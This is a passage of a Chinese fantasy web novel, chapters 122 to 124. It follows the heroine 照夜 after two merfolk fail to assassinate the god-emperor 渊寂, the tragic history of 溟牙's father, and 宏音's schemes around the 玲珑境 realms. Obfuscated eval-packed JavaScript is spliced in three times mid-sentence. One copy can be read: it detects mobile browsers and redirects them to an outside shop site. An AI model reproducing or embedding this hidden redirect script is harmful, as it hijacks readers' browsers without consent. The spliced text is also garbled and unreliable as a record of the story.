我正想低声提议“今日情形有异,不如改日再议”,那两个鲛人却已身形一晃,借着晶鳞折光隐去形迹,如离弦之箭无声掠出。 两缕与周遭光影微妙错位的扭曲晕芒悄然滑近——晶鳞隐遁之术堪称精妙。他们宛若两尾逆流而上的银鱼,悄无声息逼近坐忘台边那道玄色身影。 然后,那股熟悉的风,懒洋洋地醒了。 尾巴从我肩后探出,紧紧攥住我一缕辫子,光晕微微发颤。他比平日显得紧张得多,凝神望向那边。 渊寂甚至未曾抬眼,仍轻抚着碎蝶的发顶,对多出的呼吸与动静置若罔闻。 我几乎捕捉不到桃夭与无悔的身形,却清晰听见“刺啦”一声裂响——桃夭的衣袖被无形之风划开,露出底下泛着微光的肌肤。未伤皮肉,只是标记了她的存在。 122. 122章 鲛人组刺杀失败 无悔疾退,身法快如闪电,却似迎面撞进一团陡然浓稠的空气,一头扎入蓬松绵软、挣脱不得的“棉絮”之中。他奋力挣扎,空气便漾开一圈圈慵懒的涟漪,将每一分力道轻柔卸去、荡散。 说老实话,我见过不少大场面了,却未曾见过眼前这般,近乎一场荒诞的戏弄。 行迹既露,桃夭索性显形。她挥出的匕首凝在半空,刀尖前不足一寸处,空气微微扭曲——仿佛有一堵看不见的、柔韧的风墙抵着刃锋,任她如何催力也难进分毫。无悔欲从侧翼迂回,脚下青石砖却忽然滑如涂油,令他踉跄扑地,狼狈地手脚并用。 那些我所熟悉的“风”并未蕴含杀机,甚至带着几分敷衍。它们时而缠住无悔脚踝,扯得他身不由己飞踢向桃夭;时而拂过桃夭耳后,激得那片敏感鳞片剧烈颤栗,扰得她失衡踉跄。 “啧,完全是在逗小孩儿。”尾巴低声评价,“他依旧未曾真正出手。” “不,尾巴,”我缓缓摇头,“风已动了。” “……风?” 我蹙眉起身,侧首望向那道朝我袭来、却依旧不可视的波动。许是因我的注视,那企图接近我的风,蓦然止息。 那一头,渊寂终于动了——他极慢地抬起眼,目光扫过我们。其中并无杀意,唯有一丝清静被打扰后的淡淡不耐,以及……某种探究般的好奇。 转瞬之间,桃夭与无悔已被无形之力缚倒在地,动弹不得。 自始至终,渊寂袍袖未扬,发丝未动。他像个坐在戏台边的看客,静观两只飞蛾在眼前徒劳冲撞,末了只随意伸手,将琉璃罩子轻轻扣合。 一股冰冷的荒诞感涌上我心头。 一场毫无胜算的飞蛾扑火,甚至没能掀起一丝搅乱敌人呼吸的风,便以绝对的失败结束了。 “桃夭,无悔,”渊寂开口,声调平淡,“玩够了,终于肯回家了么?” 我张大嘴,差点被渊寂的话震得脑浆崩裂。 “可恶,差太多了,撤退吧,无悔。”此刻在砧板上任人宰割的鲛人桃夭竟然带着一丝不甘心,“你等着渊寂,我,我修炼修炼,再来杀你。” “唔唔,恐怖如斯,撤退吧,师父。”无悔长叹一声,竟还有本事威胁此刻捏死自己如同捏死蚂蚁般随意的渊寂,“你给我们等着渊寂,最好睁着眼睛睡觉——” 碎蝶今日重获师父垂怜,乖顺得如同入定,对周遭一切恍若未闻。我就有些尴尬了,进退两难。 我刚准备磕头认罪,想着起码将这两个臭鲛人的命保下来,渊寂接下来一言几乎令我呼吸骤停。 “桃夭,岂能这么同爹爹讲话?”渊寂语气寻常如话家常,“还有你,无悔——说了多少次,在外须称职务。从前该称‘上仙’,如今该称‘帝君’。” “妈呀,乖乖,这两个臭鲛人,都是渊寂的亲戚。”尾巴好似也有些无语,“那个桃夭,难不成是——凤琤的姐妹?” 姗姗来迟的笏影急得额角沁汗,一见桃夭与无悔便急命仙军将其搀扶起来,“桃夭公主!无悔少爷!你们怎又偷溜进宫!若非宏音上仙察觉踪迹,还不知要闹出何等祸事!” 接着,桃夭和无悔便被护送离开,而我就有些尴尬了,进也不是退也不是。真是两个可恶的臭鲛人,竟然摆了我一道,我还以为他们与渊寂之间有血仇大恨,没想到竟是家庭内部纠纷。 打发走碎蝶后,渊寂的目光落回我身上,静默片刻,才缓缓踱至古松下的石桌旁,慢条斯理地斟了一盏红绡茶推过来。 “想好如何狡辩,就开口吧照夜。” 我把尾巴往衣袋深处掖了掖,僵硬地扯了扯嘴角,“他们鲛人擅隐身形,我、我一时不察,被他们尾随至此……我真不认识他们!” “哦?是么。”渊寂指尖轻叩桌沿,“在天翮城时,你与他们不是相处甚欢,常玩在一处?” 看来抵赖已是徒劳。不知为何,我心底隐约觉得渊寂不会深究——并非因他“偏爱”我,而是我于他,恰似一只在眼前忙忙碌碌、做些小动作的蚂蚁,观察起来兴许更有趣。 “桃夭自幼离经叛道,不服管束,还总带着弟弟胡闹生事。”渊寂轻叹,语气里听不出喜怒,“与她妹妹凤琤的性子,倒是截然不同。” 面前的青瓷茶盅里,红绡茶汤浓艳如血。我指尖触到杯壁又缩回,终究是不敢碰那色泽诡艳、香气黏腻的茶水。 “桃夭说……他们是为芳光公主报仇。” “当年芳光为诞育桃夭、凤琤,仙力耗尽。鲛人一族为救她,抽尽了澜歌树积存的所有仙力,仍是无济于事。”渊寂的语气平淡得像在陈述书卷上的旧闻,“仙丹已碎,崩解在即,纵是至高神明亲临,也回天乏术。可那些畏惧失去信仰的鲛人,宁肯榨干圣树,只为救一人——”他略顿,眼底一片漠然,“愚行至此,我只能亲手了结芳光,以断绝他们的妄念。” 渊寂抬起眼,目光如古井无波,“照夜,为师所为,错了么?” 我怔住,一时语塞。为救一人而倾尽全族依恃的圣树,这代价是否太过?而渊寂为阻止这“愚行”,亲手终结妻子性命,又是否太过冷酷? 沉默良久,久到喉间干涩发紧,我才听见自己迟疑的声音,“师父既知芳光公主回天乏术……为何不早作决断?到头来,鲛人族既失了公主,亦毁了澜歌树,落得两手空空。” 一丝极淡的愉悦笑意浮现在渊寂唇边。他就这么注视着我,仿佛享受着我这番小心翼翼的探问。笑意渐深,浸入眼角细微的纹路里。 “照夜,可知我喜欢你哪一点?” 我屏息未答。 起身,居高临下盯着我,渊寂温热的掌心摸过我的脸颊,继而端起我只碰了碰嘴唇的茶杯,仰首饮尽。 “喜欢你天真纯粹的壳子底下——”渊寂放下茶盅,声音轻缓,“藏着一缕幽峻又敏锐的魂。” 按理,我此时该装傻退下。可一股莫名的炽涌冲开我的唇齿,将心底最深的惑问推了出来,“帝君您做这一切……难道只因觉得有趣?只是出于——‘观察’么?” 渊寂不再看我。他独自立于高台边缘,玄色衣袍在云气中微微拂动,他俯视着脚下庞大而繁华的灵璧城,只背对着我轻轻挥手。 ——他此刻,只想独处。 我转身疾步离去,脚步快得近乎踉跄。尾巴在我口袋中轻轻发颤,声音也带了抖,“怎么了?吓着了?” 我攥紧衣袋里那团温光,低喘着压低嗓音,“不对劲,尾巴!这个人给我的感觉——根本不似活人!” 恐惧如藤蔓缠绕心头,虽知性命无虞,本能却仍驱使我逃离。可偌大的灵璧城,我能逃往何处?回息声苑么?宏音的宅邸虽阔大,却缺了几分令人心安的“包裹”感,似非藏身的良所。正踌躇间,我瞥见溟牙自仙宫门内走出,便急忙追上前去。 “啊?想寻地方躲躲?”溟牙眯起那双竖瞳,像在打量一个无可救药的傻瓜,“你又惹什么祸了?” “我今早带着桃夭和无悔去刺杀帝君……失败了。” 溟牙闻言,白眼几乎翻到天际,“你吃撑了没事干?没事干回家睡觉呗,发什么疯,他们两个鲛人神经兮兮的,你也跟着凑热闹。” 我一听这话,气得头冒青烟,“可恶,你知道桃夭是公主,而帝君是无悔的姑丈?!” “你不知道?” “你没告诉我呀!” 溟牙边走边冷笑,“你也没问我啊,我这人不爱说别人闲话。” 尾巴终于憋不住,在我发顶笑得打滚,“这臭毒牙……嘴倒是严实。” 就这么一路纠缠着溟牙,我跟着他回到了他的“家”。万万没料到,这位帝君座下二弟子、金珠位阶的仙人,竟无自己的宅邸——他租住在名为“云泥巷”的地方。 灵璧城东北,有一处叫云泥巷的地方,巨大的古井并非装饰物,是通往“仙都肾脏”的垂直咽喉。向下三十丈,还不足以穿透这座悬浮之城坚实的土地,这里竟然住着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“太武断了罢?焉耆也很爱干净……”我环视这一尘不染、满是女儿气的屋子,脸颊因惭愧而微微发烫。 与被溟牙精心娇养的玄洛君相比,我家焉耆活似泥地里打滚的野小子。 溟牙摆摆手,倦意已漫上眉梢,“好了,你且自便。我要歇会儿。” 溟牙说着便蜷进草垫深处,沉沉睡去。尾巴将那些黑脊蛇专用的小窝挨个蹭了个遍,这才跳回我面前,小声嘀咕,“要不把焉耆交给宏音养算了?反正他有的是钱,把焉耆也拾掇成个贵公子,这样蛇小姐和狗公子才登对。” 我长叹一声,也学溟牙的模样缩进柔软清香的草垫里。莫名的松弛感漫过四肢,方才的惊惶竟悄然消散。尾巴轻轻蹭着我的唇角,低声问,“很担心青莲吧?” “嗯,得尽快找到他。” “等拿到玲珑境的排序表,咱们就一重一重搜过去,掘地三尺也要把他找出来。” 见我依旧愁眉不展,尾巴殷勤地跃到角落那堆书卷旁,叼出一册边角微卷的画册,哗啦翻开,“我给你讲个故事吧。你快眯会儿,这些日子你都没睡好。” 于是,在尾巴轻缓的叙述中,我听见了一段惊心的往事—— 关于玄牝仙人“置换”之术的真相。 溟牙的母亲,是生于魔界的一条蛇妖。当年玄牝仙人游历魔界,与她相恋,并有了溟牙。只是这位痴迷于探寻双修至高境界的仙人,至死都不知自己有个孩子存于世间。 他不知道,在与蛇妖交融时,他无意中攫取了对方独特的本源仙力——那仙力,原是有毒的。 他不知道,自己体内常年流转的、那份来自蛇妖挚爱的力量,早在他无数次“置换”修炼中异变为侵蚀道心的幻毒之种,无声渗透进每一个与他共修者的灵台。 当年,那些沉溺幻觉、难以自拔的行为,终是惊动了仙宫。彼时煌木已陷入深眠,代行帝权的渊寂便下达了讨伐之令。 123. 123章 溟牙往事 奉命前来的溟牙,本是为遵从母亲临终前的叮嘱,逼父亲分离出那份唯有蛇妖血脉方可安然承载的毒力,再向仙宫请罪。可就在他即将触及真相的刹那,云啼与星允却携渊寂密令骤然现身,以“铲除祸根,不可留患”为由,强令溟牙——亲手了结了生父。 玄牝在最后一刻,应是认出了自己的孩子。他神色间竟有一丝殉道者的坦然,仿佛甘愿为自己离经叛道的理念付出代价,又或许,在那种境地中,赴死已是避免牵连溟牙的唯一选择。他甚至缓缓跪在溟牙面前,任由玄洛君淬毒的利齿,没入自己的咽喉。 之后的事,便如传闻所言,玄牝之名,成了仙界一笔不堪的污迹,被彻底抹去。 画册末页,是玄洛君紧紧蜷绕着溟牙的身影。它和他好似没办法走向更广阔的天地了。 因为愧疚和难过。 不被世俗接受的信念,究竟该不该存在。 我不知答案。我只知道玄牝仙人的至交云笈仙人,凭着记忆撰就《玉房秘戏考》,总算为这三界留下了一抹不那么端庄、却鲜活真实的痕迹。 ——谁能想到,那样仙风道骨的人物,竟会与一位穷究人间极乐之秘的仙者,成为莫逆之交。 傍晚时候,宏音找来了。 几乎同时抵达的,还有携仙军前来问罪的云啼。她神色倨傲,劈头便质问溟牙为何与我厮混一处,言辞间仿佛这是某种不可饶恕的背叛。 我心中不忿——好歹名义上我仍是她的师妹,何来这么深重的敌意?但我转念便明了,云啼太清楚我曾伙同穆青、振岳等于帝君大典上当众“质问”,又私闯过地刑司。在她眼中,我与青莲皆是对渊寂大不敬之徒,而溟牙这种素来对师命“言听计从”之人,自然不该与我为伍。 “知道了,往后会留心。”溟牙只挠了挠耳后,似是烦于云啼的咄咄逼人。 “你该不会是看上这肥妞了吧?”云啼蔑然扫我一眼,冷笑,“听说二师兄素来不近男女,这是被灌了什么迷魂汤?” “……你的话我记下了,云啼。”溟牙声音渐冷,“若无事,便请回罢。太吵了。” “就是!他愿与谁交往,干你何事!”我忍不住顶了回去,“再说,我与二师兄算是同病相怜——分明是你们结伙霸凌我们在先!” 云啼杏眼圆瞪,作势便要上前拧我,“你再嚷一声试试!” 尾巴却比云啼更快,猛地弹射而出,如一团黏糊糊的光晕死死糊在其口鼻之上。云啼手下的仙军慌忙上前拉扯,可那光晕却如浆糊般缠黏难脱。 宏音在暗处静观片刻,见气急败坏的云啼已欲拔剑,方才缓步上前,伸手轻轻一揭——咯嘣一声,尾巴被他利落拽下。 “别再鲁莽行事,云啼。”宏音声音不高,却透着冷意,“弹劾尔等跋扈的奏本已堆了不少。须知你们丢的——可是帝君的颜面。” 云啼这才喘过气来,面颊因憋怒涨得通红。她一把推开身旁的仙军,狠狠瞪过我们三人,估计是认为一个两个都不太好惹,终是拂袖而去。 我有些得意,见宏音招手便快步凑到他身旁。溟牙在一旁没好气地长叹,“行了,快带你的人走。净惹麻烦。” “讨杯茶喝,金珠上仙。” 宏音在屋内缓步环视,目光落在一旁未织完的织物上,拈起细看,似有些兴致。 “宏音大人,你家这小胖妞的体格……怕是用不上这御寒之物。” 宏音轻笑,“为人父母的通病罢了——总怕孩子着凉。” “说罢,究竟有何贵干。” 我这才回过味来,宏音此来,并非单纯接我。心下微紧,我端正坐好,静静望向他。 “想请你帮个忙。”宏音徐徐啜了口草本茶,神色如常,“请你用你的眼睛……窥视玲珑境。” 九百玲珑境,位于源涡池畔,专供仙人修行之用。当年煌木在源涡池沉淀了浩瀚仙力,正是为此。“九百”并非实指,而是对那无穷嵌套、虚实交织的秘境迷阵的概称。它宛若水中倒映的星穹,绝大多数闪烁的“境”皆是精妙布设的镜像、回响或纯由仙力构筑的幻影,唯极少数“真境”藏匿其间,以此构成天然护阵——任何蛮力探查,皆会在无尽虚妄中耗尽心神。 玲珑境的入口从不敞开,只透过针尖大小的“玲珑窗”倏忽一现。于肉眼观之,不过一粒明灭不定的光斑。一旦踏入,修行者便几与外界隔绝。 源涡池中粘稠的仙力,会如涓涓细流般渗入各条“渠道”,在境中沉淀涵养,静待修者汲取炼化。于此修行,无须分神应对旁扰,感知与凝炼仙力的效率远超外界。这样能急速提升修为的秘境,自是稀缺之极。 且也非人人皆可化用此力——因属煌木的仙力,皆烙有他独有的“印记”。外人欲纳为己用,须有更高一层的掌控与束缚之能,否则反易遭其反噬,致使自身仙力涣散。 宏音探查数日,发觉玲珑境已不再依序表排列,全然打乱了供给修行。换言之,根本无法定位到穆青身在何境。 故而,唯有设法立于玲珑境的“门”前,借一双独特的眼,探出穆青可能所在的“境”,方能缩小搜寻之围。 而承袭蛇妖血脉的溟牙,恰有这样一双与众不同的竖瞳。 听到此处,尾巴恍然大悟,竟凑近细细打量起溟牙的眼睛——褐底之中瞳孔竖立。这双眼,昭示着他的血脉与出身。 “原来如此,”尾巴贴着我耳畔轻声道,“照夜,溟牙所见的世界,或许与我们截然不同。还记得么?他有‘标记’人的习惯。” 趁宏音与溟牙交谈之际,我与尾巴躲在角落悄声议论。 “我知道我知道!蛇能看见温度!” 尾巴晃了晃光晕凝成的脑袋,贴着我唇边,似在夸我机灵,“没错。溟牙身负人与蛇妖之血,既能见人形,亦可视温度。或许常人眼中的形体与阴影,于他不过是浓淡不一的‘热雾’——活物是明亮跃动的暖色轮廓。这意味着,纵是潜藏者隐匿之术再精妙,在他眼中亦无所遁形。再者,凡经他标记、铭记之人,或许会呈现独特的温度纹路,真伪立辨。” “哇,感觉上好方便,又好变态,好在他没法标记我。” 尾巴只是笑笑,贴着我的脸,“我倒觉得比起他,你通过心跳记录对方,更加不可思议。每个人的心跳不一样么?” 我无法描述为何我听到的每一个人的心跳都不一样,这好似是一种本能,属于我独有的识人之术,“当然不一样,但是尾巴,我并不能确定,世上有相同心跳的人这件事是否是常态。” |“呃,你的意思是,你遇到过心跳一样的情况?” 我抿嘴笑了,“聪明的尾巴。是的——我贴近听过小青与钩星的心跳。他们二人……一模一样。无论是平缓、欣悦、哀伤亦或渴望时,皆如出一辙。” 尾巴低低笑了两声,跃上我发顶,望向那头神色凝肃的溟牙,“小笨蛋照夜,”他轻声问,“那我的心跳又是怎样的呢?” 不待我答,尾巴已喃喃自语,“呵,多余一问。我并无躯体……又何来心跳。” 未及我安慰尾巴,溟牙低沉的声音已传入耳中,“我拒绝。风险太大——若被察觉,便是寂灭池之刑。我可不想看着自己冻碎成齑粉。”他抱臂倚着墙,神色冷淡,“况且我这个人厌极了冷。当然,又湿又冷更令人憎恶。不过若没得选……我宁可要湿,也不要冷。” 我不满地挪到宏音身边坐下,“谁管你喜好什么?我不管,你必须帮忙。” 宏音倒是不急,慢悠悠道,“溟牙,不会教你白帮忙。我知道你一直想查清——当年玄牝仙人被抽取封存的仙力,究竟流向何处。”他抬眸,目光平静,“以此为交换,如何?” 溟牙瞳孔微缩,谨慎地看向宏音,“你……知道?” “储存仙力最佳的媒介,除却人身,便是熠石。”宏音轻揉眉心,声音压得更低,“我翻过当年讨伐玄牝的密卷与熠石出入库记录。按时间推算,云啼与星允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是啊,除溟牙外,连玄牝至死都不知自己仙力含毒。凤琤便在“不知情”下,汲走他的仙力,染上毒性,又孜孜不倦浇灌澜歌树六十载。 我忽又想起穆青修复结界时,所见那棵通体莹绿的澜歌树——离了仙力注入,它自身再难焕光,它显然已失去凝固仙力之能,唯余些许过滤之效罢了。 一棵苟延残喘的小树,已再难长成灵木了。 今夜至此,我们三人未再深谈。因若再探下去,或将触及一个令人脊背发寒的真相—— 有人在暗中,蓄意主导这一切。 归途夜浓。宏音敏锐地觉察到我的不安,温热的掌心裹住我的手,问出的话却并不温和。 他问我,穆青与我分别,独自来灵璧城的目的,究竟是什么。 事到如今,隐瞒已毫无意义。我便将穆青决意带走煌木留存仙力之事尽数告知了宏音。他听罢,只沉默地收紧握住我的手,良久才低叹一句,“莽撞的小孩,竟想瞒过帝君么?他又岂会看不透你们这样的小把戏。” “……宏音,穆青是不是出事了?” 回到息声苑,宏音将我按进浴池,慢条斯理地擦洗我的手臂,“别过早下定论。待探过玲珑境再说。” 眼泪不争气地涌了出来。我懊悔当初与穆青定下那荒唐的计策,更懊悔未曾随他一同返回灵璧城。 可这世间从无后悔药可服,亦无重选之路。若我当初放弃天翮城而择灵璧城,天翮或许早已因地火而倾覆。 世事残酷,总堵得我心口发闷。如今唯能祈愿穆青仍在玲珑境中——纵使他真与凤琤有了夫妻之实,我也认了。 见我哭得难以自抑,宏音轻轻踏入池中,将我连同正默默舔去我泪痕的尾巴一并揽入怀中。 眼下,我们都在等待一个时机——一个能将所有目光引开的时机。十日后那场上仙例行会议,无疑是探查玲珑境的最佳窗口期。只是,还须将这场会议“装点”得更为引人注目些才是。 124. 124章 摸鱼高手宏音 这日我又起迟了,挨了笏影好一顿训斥。幸而未误渊寂沐浴更衣的时辰——碎蝶已重归其位,换言之,我这个“小八”暂时无事可做了。 耐着性子听完笏影絮叨,我悄悄溜边往宏音处去。 听雨阁原为万象司接待贵宾的下榻之处,因宏音喜欢水,便迁至此间办公。刚出嵊风殿,一张美得令人屏息的容颜忽地凑到我眼前,“小八,去哪儿?” “讨厌!你竟还敢出现在我面前?!”我撅着嘴瞪向如今可以大摇大摆出入仙宫的无悔,“若非我道德感高,早将你脑袋捶扁了。” 无悔嬉皮笑脸地跟在我身侧,“我找你玩儿嘛,这么凶干嘛?瞧这方向……你是要去找你阿爹?” “我去瞧瞧宏音平日如何理事——怎就能将诸事处置得那么轻松?我每日似无所事事,却总觉得累,只想瘫着。” “呃……有没有一种可能,”无悔捏捏我软乎乎的手臂,斟酌着用词,“嗯,你许是单纯……超重了。” 我瞄了一眼周围,问起怎得不见桃夭,无悔满不在乎告诉我——桃夭又去‘刺杀’她爹渊寂了,理由是,他爹正在沐浴,防线最松,容易得手。 此刻便是把白眼翻上天去,也无法表达我心中的无语凝噎。无悔却仍滔滔不绝表达他的看法,他觉得桃夭的理由太过扯淡:人在赤身裸体时明明警觉性最高。最后还逼问我的看法。 “有没有可能——纵是帝君熟睡,你们也绝无得手的指望!” 无悔竟认真思索片刻,拍拍我的肩,“所言有理。待姑丈睡着,我亲自一试。” “好了好了!你们这两个臭鲛人,究竟有没有去找素雪的下落?” 闻言,无悔神色蓦然一肃,声音不自觉地压低,“这两日除了谋划刺杀,我们可都未闲着。宏音交待的事若办不好,他能扒了我们俩的皮。”他凑近些,悄声道,“照夜,素雪根本不在玉贝仙人的法器里——自被渊寂接走后,她便下落不明!” “大活人怎会凭空消失?” “……桃夭借着出诊,从宋莹、笏影那儿探来的风声。说是素雪被藏进了玲珑境,借仙力温养受损的仙丹。孩子怕是保不住了,但母体……或许尚有一线生机。” 我心中暗沉。 看来这玲珑境,是非闯不可了。 我在听雨阁寻到宏音时,他正有条不紊地分派着诸般庶务。与无悔凑在一处看了半晌,我不由暗叹——宏音这人凭着过目不忘之能,将琐碎事务安排得又迅捷又周详,那些候在一旁头冒热汗的仙吏们唯一要做的事,便是点头。 此番上仙例会,除却商议支援人界之事,宏音另添了一道议程,重排玄珠位阶席序。理由竟是星允前次败于大铁棘,且考量到后者近来人气骤升,不得不议一议这首席之位该属何人。 不仅如此,我还得知了一件大事情!此次新出炉的仙界口碑榜第一位,竟然是大铁棘! 这个时候,什么八卦都知道的无悔有些神气地告诉我,因与魔界重修旧好,便恢复了旧制,魔界也可以光明正大投票了。至此,仙、人、魔的投票权重再次恢复为四成,三成,三成。大铁棘可是魔界最大家族青石沟的准女婿,魔界自然全力为他打榜。故而他荣居第一,实乃意料之中的结果。 听雨阁主楼的四壁并非砖石,而是整片剔透的琉璃,外间流动的活水沿着琉璃表面蜿蜒而下,淙淙潺潺,恍如将一场永不止息的雨囚在了屋里。阁顶悬着十数枚大小不一的铜盂,承接檐角汇入的细流,水满则倾,落在下方对应的石砚或陶盘中,激起的声响各异——滴答、叮咚、琤琮……据说在此静坐,可闻百种雨声。 只是今日不适宜听雨,因为有臭鲛人在我耳边聒噪,根本听不到“雨声”。 一个时辰后,宏音已处置完今日所有的公务,竟施施然、光明正大摸起鱼来——再次摊开那卷天翮古籍,垂眸细读。 “啧啧,看来原途大人认可了大铁棘这青石沟女婿的身份,打榜打得这么凶,竟压过了星允。”无悔晃着脑袋,“加之先前胜了一阵,人气自是水涨船高。” 宏音眼也未抬,只淡淡道,“上仙中看不惯星允的,多如过江之鲫。只不过需些……刺激,方肯聚作一股力气站出来。” “嘿嘿,不愧是宏音大人!”无悔殷勤地在案前打转,终是道出来意。 原是万事知与赤羽那头也有了进展。赤羽借切磋之名将云啼引离地刑司,万事知则趁千手仙人巡视的间隙,探查了碧叶仙人与飞逍手下因红绡茶而起的争执。 说来简单,碧叶仙人的慰林渊土沃水沛,极宜栽种红绡茶。飞逍等人欲夺此地,碧叶仙人却也非软柿子——凭鸳鸯树积财多年,她岂肯轻易让出。双方便因此生隙。 闻言,宏音沉吟片刻,又下了新令:查红绡茶的肥料为何。红绡树成材极速,却无需仙力浇灌,有悖常理。这般迅疾生长,必有外力襄助。 换言之,宏音想弄清红绡茶究竟从何而来,又如何能成片繁茂。 宏音是个体贴人,他不仅下任务,还会指出做法:收买碧叶仙人的人,最好是喜欢吹牛的最宜。 “啊?为何不策反飞逍的手下?”无悔与我同露惑色。 “其一,飞逍御下极苛刻,对方背叛他的可能太低,徒耗工夫。其二……”宏音指尖轻叩案沿,“碧叶与飞逍迟早会合作。守株待兔便是。” “好嘞,我办事,您放心!”说着,无悔便兴高采烈走了。 我倒好奇宏音怎么知道那二人必会联手。宏音轻拉我至身侧,掌心摸过我脸颊,耐心道来其中缘由。碧叶仙人迟迟未让,不过待价而沽罢了。眼下她选路不多——或屈从,或硬扛。一个缺乏战力、只余钱财的“上仙”,有何底气与星允一系相抗?只是近来星允势颓,她才生了议价之心。 “她甚至会提出……入股。”宏音唇角微扬,“一步步试探,为己谋取最大利益。赌的便是星允奉帝君之命急于推广红绡树,为求速成,不好强夺,反会选择合作这条路。” 不得不认,宏音于人性忖度之准,当真无出其右。 听雨阁内水声潺潺,光透过琉璃水壁折成摇曳的波纹,在宏音低垂的侧脸上明明灭灭。我又问起他为何对红绡茶这么上心。他沉默良久,指尖无意识地轻叩着古籍泛黄的页缘。 “以我对草木与水性的了解,这树本就透着古怪。”宏音声音沉缓,“其次,从有毒的澜歌树母株上培育出的变种……必藏蹊跷。” 听到此处,我不由庆幸自己从未碰过那红绡茶。宏音却又道,单论茶汤本身,倒无异状——确由红绡树的花叶所制,无毒无害,亦具强身健体之效,于修行确有裨益。 “这便是我困惑之处。”宏音轻叹一声,抬眼望来,“总需有个合理的解释才行。”顿了顿,他语气微转,“怎的今日帝君不需你随侍在侧?” “碎蝶又恢复了往日的荣宠,我这个小八有些多余了。” 宏音唇角微弯,伸手轻轻揽过我的肩头,“正好。那便在听雨阁陪我读会儿书罢。” 我找了个能晒到暖阳的角落,窝进软枕堆里,随手翻起了宏音上任以来积存的奏报。 当我连翻三篇都瞅到主角竟都是星允时,连忙把尾巴晃醒,叫他一起来看惊天大八卦。 “让我瞅瞅,星允这个王八蛋,终于到了被落井下石的地步了!”尾巴紧紧贴着巴掌大的云雾屏,开始逐条读起了众上仙声讨星允的奏报。 罪状一:星允百年来,以心术代天道,以私欲乱纲常!其纵容党羽把持仙籍升降,凡阿附者便得擢升,清正者反遭贬黜,致使仙庭清浊颠倒,风气日下。 罪状二:星允借整顿、评价洞天之名,行巧取豪夺之实——极北冥海之境原渟族洞渊,如今皆改姓‘星’门私产,私采渟冥铁,铸炉炼丹,更迫未湖之民充为苦役,哀声动天。振岳携先任人君舒仲泣血之信呈于仙宫,竟遭星允中途截留,隐匿不报。此人假帝君之威名,行祸乱仙界之实,此乃蛀空仙界根基、动摇山河之重罪! 罪状三:星允统军出征,从不念惜同袍,常为泄私愤、逞己威,借声讨怪物之名,行戕害军士之举。数次征伐,其为一举歼敌,不顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553433|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麾下仙军阵列未稳,强令推进,致使将士遭糖稀贯体,仙丹溃散,身陨道消。彼时星允冷眼旁观,竟言“战损难免”,其心之冷硬,视同袍如草芥,实令人发指。 “这狗东西!”我看得牙关发紧,“上回因败给大铁棘觉着丢脸,便重伤溟牙与其他将士……原来这恶行,竟不是头一遭!” “照夜,看这落款。”尾巴的光晕将我的目光引向文末。 只见奏报最终写道: 综上所陈,星允百年来上乱仙庭法度,下夺生灵根基,内坏军心士气,外损天威道统。其罪已非寻常失德,实为以权噬法、以私害公、以酷损仁之祸源。伏请帝君明察严惩,以正天道,以安三界! 落款处赫然是:伏禀再拜,正阳暨众仙谨奏。 其后密密匝匝跟随着一长串仙名——振岳、方大侠、翎波皆列其中。 “正阳仙人所在家族乃仙界世族之首,其先祖曾随太初僊开疆拓土,根基深厚,号召力果然非同小可。”尾巴打了个小小的哈欠,光晕轻蹭着我的脸颊,“看来星允这次……真要焦头烂额了。” 我却蹙眉看向奏报旁朱笔批注的一行小字:不予呈报帝君。 我迅速翻检下去,数十封弹劾星允的奏报上,竟皆批着同样的六字。 我与尾巴悄悄对视,又不约而同地偷眼望向窗下——宏音正襟端坐,垂眸阅卷,神色静如深潭。 “宏音这么做,一定有他的道理,你若去问,他未必答你,还会显得自己是个笨蛋,参不透他此举的深意。”尾巴自从输了棋,又得知了宏音操纵民意的大手笔后,本能将自己也放到了笨蛋阵列中,“要不,静观其变?” 我忍不住轻笑,“好,为照顾笨蛋尾巴的颜面,这回听你的。” 尾巴不甘地轻掐着我的耳垂,却也无从辩驳,只得闷闷嘟囔,“我去休息会儿,做些准备。待要闯玲珑境时……再来叫我。” 我轻轻捏了捏尾巴柔软的光晕,将他仔细拢进衣襟深处,低声问,“怎就你整日忙忙碌碌,那小初呢?他在做什么?” “……解释起来有些复杂。”尾巴的声音已带了浓浓的倦意,“他也只余微弱的一缕,仅能存活于某些……特定的环境里。” 话音落下,光晕便渐渐沉静,似是睡去了。 趁尾巴睡着,我又调出关于正阳仙人的记载细看。 李正阳出身仙界最古老的世族之一。其先祖曾为太初僊麾下先锋,自三界混沌时便执戟随征,三百年披荆斩棘,为奠定仙界秩序立下汗马功劳。后世子孙虽未再登顶战力之巅,却代代皆有位列上仙、执掌枢要者,又因家风端方、言行公允,历来口碑甚佳。 仙界口碑榜的附注亦载明,正阳仙人的法器为“正阳心镜”,核心之能在于“心镜破幻”,尤其克制依赖光象所成的幻术——如此说来,倒是绛霞那令人目眩的“流霞锁”的天生克星。只是若论实战武力,正阳恐怕仍非绛霞的敌手。 接下来的日子有些难捱。无悔尚未与万事知那老油条、赤羽那直性子撬开目标人物的嘴;桃夭终日的头等大事仍是“刺杀”她亲爹;宏音不疾不徐为探玲珑境做着铺垫;尾巴哼哧哼哧瞎忙活,整日睡得不省“尾巴”事。而我,简直快闲得长毛了。 